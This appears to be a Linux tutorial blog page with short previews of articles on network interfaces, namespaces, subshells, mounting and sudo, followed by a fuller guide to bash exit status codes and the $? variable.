$ ip  -c link show enp0s8

You should now see the UP flag and state UP in the output.

And also notice, the interface route is now showing in the routing table.

Renaming Interfaces

Linux lets you rename interfaces, which can be useful for creating clear and predictable names when working with multiple network connections or during troubleshooting.

Read more

Before moving on to network namespaces, it’s important to grasp a key concept: conta…

Read more

In the previous part, we explored what Linux namespaces are, the different types available, and how they’re used by containers.

In this part, we’ll continue where we left off and take a closer look at one of the most fundamental namespace types, the PID namespace.

As you already know, every process r…

Read more

Every process can see the same list of running programs, share the same network interfaces, and access the same filesystem hierarchy. If you open two terminals and run ps aux, both will display an identical process list because, at the kernel level, there’s only one global view o…

Read more

$ (pwd; ls)

You’ve just created a subshell, a new child shell that runs your commands in isolation from the parent. Subshells are one of those shell concepts that quietly do a lot behind the scenes in B…

Read more

A process might appear to use hundreds of megabytes of memory, yet in reality, a …

Read more

When you mount a file system, you’re essentially linking it to a specific directory so you can access its contents. Unmounting, on the other …

Read more

Here we learn about the differences between Sudo and Su and how to us…

Read more

In this article we will go over the built-in bash exit command as well as the exit status codes of the commands that have been executed.

BONUS

Stay tuned until the end of this guide for something special: a free copy of my Bash Scripting Handbook.

Exit Status Code

When a shell command exits, whether successfully without any errors or unsuccessfully with errors, it returns an exit code.

An exit code of zero indicates that the command was completed properly without any errors, while a non-zero indicates that an error occurred.

The $? is a special shell variable that stores the exit status of the most recently run command:

cat manifesto.txt

echo $?

# output

A Gentle reminder, I use Arch BTW!

0

Because the cat command was completed successfully and without error, the exit code is zero, as expected.

If you attempt to run cat command on a not-existing file, the exit code will be non-zero as shown below:

cat no-file

echo $?

# output

cat: no-file: No such file or directory

1

As expected, the exist status code is non-zero.

The exit status code of a command can be used for debugging and determining the reason for its failure. The man pages for each command provide information about the exit codes. When chaining commands using pipes, the exit status code is that of the last command in the chain.

Read more

Read more